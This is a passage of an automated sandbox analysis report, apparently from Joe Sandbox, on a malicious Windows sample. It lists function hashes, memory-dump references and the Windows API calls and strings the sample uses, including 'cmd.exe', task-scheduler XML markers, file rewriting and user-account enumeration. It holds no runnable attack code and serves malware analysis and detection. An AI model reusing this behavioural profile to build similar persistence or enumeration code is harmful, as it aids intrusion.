                                                                                                                                                                                                                      • Opcode ID: 55b5801493426abadb834ca846d8a52c21ce2827cde252f62827ee7d0c6f5e5b
                                                                                                                                                                                                                      • Instruction ID: 647bc1efc872d410d83d31efe28936287375966dcf2aa8afc27d93c91c757f48
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 55b5801493426abadb834ca846d8a52c21ce2827cde252f62827ee7d0c6f5e5b
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6102F530A017459FEB24CF18C4906AFB7F1FF91711F14855AE8A58B391D338AE96C794
                                                                                                                                                                                                                      Function 004416D0 Relevance: .5, Instructions: 471COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                      • Opcode ID: 396aa218b2957ca5b0e965eb8cf056d2cb0237b26e316daf33891388054dd60e
                                                                                                                                                                                                                      • Instruction ID: 5041421aec073d2b688b2073802020d7c79b1bca3df2cb6ef25812ac66b41e1f
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 396aa218b2957ca5b0e965eb8cf056d2cb0237b26e316daf33891388054dd60e
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: AA02D430A017459FEB24CF18C590AAFB7F1FF91310F14855AE8A65B3A1D738AD82C7A5
                                                                                                                                                                                                                      Function 00408FA0 Relevance: .5, Instructions: 466COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                      • Opcode ID: 237a5ef1c881c77b559dd56a398dfbcec35f8c464cc1561565d778ccfd860f47
                                                                                                                                                                                                                      • Instruction ID: a657eec15ca3c5bb160301247c07cdb44cfdd935969e5cbf472f05e5335aa939
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 237a5ef1c881c77b559dd56a398dfbcec35f8c464cc1561565d778ccfd860f47
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E6F19E71A00619ABDB20CF98C980BAFB7A5EF89314F10417EED05A7382D779DD41CBA5
                                                                                                                                                                                                                      Function 0043AC30 Relevance: .5, Instructions: 457COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                      • Opcode ID: 11c0ee598e7aeb21dc1fcf675ea2201926a005ebd3ef75b4a8992ce9a24da684
                                                                                                                                                                                                                      • Instruction ID: 1bcbb60a4870fb6f7824f06d04ae27aaebc780d04162e94b05afeb65d1883275
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 11c0ee598e7aeb21dc1fcf675ea2201926a005ebd3ef75b4a8992ce9a24da684
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 94124A71E002198FCF18CF99C9906AEFBF2FF88314F18916AD859AB754D738A941CB54
                                                                                                                                                                                                                      Function 00440880 Relevance: .4, Instructions: 410COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                      • Opcode ID: d4ecfbb76b5ff75ca8ce42069abc9beb288d772322e9fc4374153c29d3e72997
                                                                                                                                                                                                                      • Instruction ID: f2c5ae519af86c61090003759672b7809cd436e53f2fd5b45b2c1165b140046f
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d4ecfbb76b5ff75ca8ce42069abc9beb288d772322e9fc4374153c29d3e72997
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: EAE12A309417859FFB25CF28C4906AEBBF1EF52310F1882AFD5E55B392C238A956C758
                                                                                                                                                                                                                      Function 0044A8A0 Relevance: .4, Instructions: 390COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                      • Opcode ID: a2199f9d5ef3831119798c1dc9bd5d1b85a9c125d43dbf3cc54136715279e40c
                                                                                                                                                                                                                      • Instruction ID: 3d5b5479c895319a2c4470d34a8ff6393b73061c9a225c3785347aa2e70d1fa5
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a2199f9d5ef3831119798c1dc9bd5d1b85a9c125d43dbf3cc54136715279e40c
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0DE10330E045458FDB08CF68C9806ADBBF3EF89310B28C1AED495DB346D639EA46CB55
                                                                                                                                                                                                                      Function 0043C0D0 Relevance: .3, Instructions: 333COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                      • Opcode ID: e4f8c752663e60b2715eb80ca10e498db60ca875b2efaa2d9ab2dd7c96a0f916
                                                                                                                                                                                                                      • Instruction ID: 8b1a689c82d0fe3ee89c344c2f7eab184c0c6edd59e3ba46ea3345da4373e9f6
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e4f8c752663e60b2715eb80ca10e498db60ca875b2efaa2d9ab2dd7c96a0f916
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1ED13576E0021A8FCB18CF99C9815AEFBB2FF98310F25956AD815BB704D734A911CF94
                                                                                                                                                                                                                      Function 00406B60 Relevance: .2, Instructions: 241COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                      • Opcode ID: 1fa79efd77040c91d97ccb62c7c4d6b3fc1a67cf8e84a75a06133681ecf7a348
                                                                                                                                                                                                                      • Instruction ID: 661d4224e0226a62dc5565bcde94e6aa946e1ef99945e038f73d7b47cfba27f7
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1fa79efd77040c91d97ccb62c7c4d6b3fc1a67cf8e84a75a06133681ecf7a348
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F7917371D01215AFDB50EFA5C840B9EB7B5AF88304F26847EE805B7381D738AD11CBA8
                                                                                                                                                                                                                      Function 0043CC10 Relevance: .2, Instructions: 171COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                      • Opcode ID: 3090cd04c4ac406685f1ab0f7046645eb9a7970325283ab6b837acbd2454e769
                                                                                                                                                                                                                      • Instruction ID: 91c87d25872e839baae7933b1d26ceab25bf760725ff438016367df0c9695c0c
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3090cd04c4ac406685f1ab0f7046645eb9a7970325283ab6b837acbd2454e769
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9E51B333F215214BE348EA7ACC8415A73D3EBCA31075AC63AD901DB395E974E96396C4
                                                                                                                                                                                                                      Function 0040ED30 Relevance: .2, Instructions: 158COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                      • Opcode ID: 7928e8e2b48241c328333a21e1eda0a8dfd2b13abab1239be22144118d9f0051
                                                                                                                                                                                                                      • Instruction ID: f12356c3dda02b0944d66f82227427b0d7e0263a6395cb29892584ed5db79ad8
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7928e8e2b48241c328333a21e1eda0a8dfd2b13abab1239be22144118d9f0051
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 19517C7190D3918BD311CF2AC48066BBBE1AFD9314F044E6EF8C4A7352D7798A458B96
                                                                                                                                                                                                                      Function 0043CA30 Relevance: .1, Instructions: 147COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                      • Opcode ID: a2b513c737e90aa001c187f0fd3e76af3dd05bb8b1f1583072d2ffb077b327e0
                                                                                                                                                                                                                      • Instruction ID: 448e8c8128ee218613f355b6a59d53b40018dab5e4ac80cca173ede8df55363b
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a2b513c737e90aa001c187f0fd3e76af3dd05bb8b1f1583072d2ffb077b327e0
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4141C277E51A3947F3188949CD81744AA52ABCC324F2B83B5CD2C6B356D8B9ED039AD0
                                                                                                                                                                                                                      Function 0040EF50 Relevance: .1, Instructions: 142COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                      • Opcode ID: c32c7c64c535abbb448f0f017838c40942559ebacb89743a81205ea225361776
                                                                                                                                                                                                                      • Instruction ID: 081832729734f64ca8943200ec232ae7a260b1d72c680c68a8391be1ada1e6fc
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c32c7c64c535abbb448f0f017838c40942559ebacb89743a81205ea225361776
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9751D07150D3918BD321CF29C48066BBBE1ABD9314F084A7EF8D497352D778CA49CB92
                                                                                                                                                                                                                      Function 0042EB80 Relevance: .1, Instructions: 74COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                      • Opcode ID: cdf6d4a0cfe518c56610cbc80524ad7fcbb6d49a35438cb6cea347061e269f64
                                                                                                                                                                                                                      • Instruction ID: b4677f41d66d6811b44967b30f698def2232b76b1c2307f426304baac9f77722
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: cdf6d4a0cfe518c56610cbc80524ad7fcbb6d49a35438cb6cea347061e269f64
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 472150339744B701E7908B768C8863277E3EFCB245FAF85B5D649C7652E23DE4029124
                                                                                                                                                                                                                      Function 004147E0 Relevance: .1, Instructions: 53COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                      • Opcode ID: c960c60330ea37f4af0813ec166c04039a4088d48b185995a0ca47779f0b5bce
                                                                                                                                                                                                                      • Instruction ID: f17dcb8967b96d5ed4dd8b06982efda1dc527591578653ebadaafebabbad66e2
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c960c60330ea37f4af0813ec166c04039a4088d48b185995a0ca47779f0b5bce
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5201C43F174E8D42852D642C1024AFA12405B9275A7D4062BEAD7D83E2EFCED8E7D08F
                                                                                                                                                                                                                      Function 00414050 Relevance: .0, Instructions: 40COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                      • Opcode ID: 0a5098dc99a450b7ee807eb59e07f73775cbb25fdf3b48f52af6f44802a00f1a
                                                                                                                                                                                                                      • Instruction ID: b1f166e1dc89a3f01e43aa2e4643af66497838ab6b388673c2e8518e001627dd
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0a5098dc99a450b7ee807eb59e07f73775cbb25fdf3b48f52af6f44802a00f1a
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A301A2B59057189FEB20DF54DD857ABBBB4FB06304F40819DE98D97280C3B51A84CB96
                                                                                                                                                                                                                      Function 00406800 Relevance: .0, Instructions: 9COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                      • Opcode ID: 6330c77cc73779100b967b3bed00ed2b0f65b3f262f43be70dde04e2a63f31f2
                                                                                                                                                                                                                      • Instruction ID: 7532f4c657dbcf864b1e0f3702b5c669a99d63d3a165ab0069a886a8ac68f27f
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6330c77cc73779100b967b3bed00ed2b0f65b3f262f43be70dde04e2a63f31f2
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4AC04C36111850CFC642DB08E144D81B3E4EF05631B0A84C5A4055B621C234ED41CA40
                                                                                                                                                                                                                      Function 00403699 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 292memoryfileCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,?,?,?,?,?,?,00000000,7604DB30), ref: 004036CB
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,7604DB30), ref: 00403717
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,7604DB30), ref: 0040371E
                                                                                                                                                                                                                      • memset.MSVCRT ref: 00403736
                                                                                                                                                                                                                      • _snwprintf.MSVCRT ref: 00403750
                                                                                                                                                                                                                      • CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00403773
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 0040378A
                                                                                                                                                                                                                      • GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040379E
                                                                                                                                                                                                                      • ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 004037F3
                                                                                                                                                                                                                      • wcsstr.MSVCRT ref: 00403812
                                                                                                                                                                                                                      • wcsstr.MSVCRT ref: 00403845
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 004038DB
                                                                                                                                                                                                                      • WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0040390C
                                                                                                                                                                                                                      • SetEndOfFile.KERNEL32(00000000), ref: 00403913
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 0040391A
                                                                                                                                                                                                                      • VariantInit.OLEAUT32(00000000), ref: 0040394B
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004039A7
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004039AA
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004039B7
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004039BA
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 004039CD
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 004039D0
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 004039DD
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 004039E0
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$File$Process$FreePointerValidatewcsstr$AllocCloseCreateHandleInitModuleNameReadSizeVariantWrite_snwprintfmemset
                                                                                                                                                                                                                      • String ID: 00-->$<Actions $p=<u
                                                                                                                                                                                                                      • API String ID: 3028510665-3770785300
                                                                                                                                                                                                                      • Opcode ID: 5aec559f448f2fa9d4b5295e0762ae784be18bfa84c22532a43d07e7593ce3d4
                                                                                                                                                                                                                      • Instruction ID: bc67798b7604906b9ac94ea6a24e9e769d05a344691ee016a8b24aa6f3249a27
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5aec559f448f2fa9d4b5295e0762ae784be18bfa84c22532a43d07e7593ce3d4
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 62A1CEB25043119BC720DF64CC49F5B7BA8EFC8751F048A29FA49A7391D774EA04CB99
                                                                                                                                                                                                                      Function 00403050 Relevance: 35.4, APIs: 18, Strings: 2, Instructions: 436commemoryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • CoInitializeEx.OLE32(00000000,00000000,?,?,7604DB30), ref: 00403060
                                                                                                                                                                                                                      • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000006,00000003,00000000,00000000,00000000), ref: 00403080
                                                                                                                                                                                                                      • CoCreateInstance.OLE32(00404418,00000000,00000001,00404208,?), ref: 004030A7
                                                                                                                                                                                                                      • VariantInit.OLEAUT32(?), ref: 004030BF
                                                                                                                                                                                                                      • VariantInit.OLEAUT32(?), ref: 004030DA
                                                                                                                                                                                                                      • VariantInit.OLEAUT32(?), ref: 004030F8
                                                                                                                                                                                                                      • VariantInit.OLEAUT32(?), ref: 00403116
                                                                                                                                                                                                                      • VariantClear.OLEAUT32(?), ref: 0040319C
                                                                                                                                                                                                                      • VariantClear.OLEAUT32(?), ref: 004031A2
                                                                                                                                                                                                                      • VariantClear.OLEAUT32(?), ref: 004031A8
                                                                                                                                                                                                                      • VariantClear.OLEAUT32(?), ref: 004031AE
                                                                                                                                                                                                                      • InterlockedDecrement.KERNEL32(004036D6), ref: 004031ED
                                                                                                                                                                                                                      • SysAllocString.OLEAUT32(00404F4C), ref: 00403396
                                                                                                                                                                                                                      • VariantInit.OLEAUT32(?), ref: 004033BB
                                                                                                                                                                                                                      • VariantInit.OLEAUT32(?), ref: 004033D9
                                                                                                                                                                                                                        • Part of subcall function 00402F70: GetProcessHeap.KERNEL32(00000008,00000010,00000000,?,004031C1,00404F38), ref: 00402F78
                                                                                                                                                                                                                        • Part of subcall function 00402F70: HeapAlloc.KERNEL32(00000000,?,004031C1,00404F38), ref: 00402F7F
                                                                                                                                                                                                                        • Part of subcall function 00402F70: SysAllocString.OLEAUT32(004031C1), ref: 00402FA0
                                                                                                                                                                                                                      • VariantClear.OLEAUT32(?), ref: 00403486
                                                                                                                                                                                                                      • VariantClear.OLEAUT32(?), ref: 0040348C
                                                                                                                                                                                                                      • VariantClear.OLEAUT32(?), ref: 00403492
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000000.00000002.1668316368.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000000.00000002.1668316368.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_1fWgBXPgiT.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Variant$Clear$Init$Alloc$HeapInitializeString$CreateDecrementInstanceInterlockedProcessSecurity
                                                                                                                                                                                                                      • String ID: cmd.exe$p=<u
                                                                                                                                                                                                                      • API String ID: 2839743307-310530878
                                                                                                                                                                                                                      • Opcode ID: c83219c8b1fcc2364968f814fc3d8ceb50f78c4147f13553458a25b82dac8a32
                                                                                                                                                                                                                      • Instruction ID: bf3241a60ff26ee6c0642b95ea0adfafd6aded52afbf6c2e6df27db904542273
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c83219c8b1fcc2364968f814fc3d8ceb50f78c4147f13553458a25b82dac8a32
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8CF1EC75E102199FCB00DFA8C884A9EBBB9FF88710F15815AE914BB351D774AD41CF94
                                                                                                                                                                                                                      Function 00401EA0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 169threadCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000000,7604DB30), ref: 00401EC6
                                                                                                                                                                                                                      • NetQueryDisplayInformation.NETAPI32(00000000,00000001,00000000,000003E8,000000FF,?,?,?,00000000,7604DB30), ref: 00401EE2
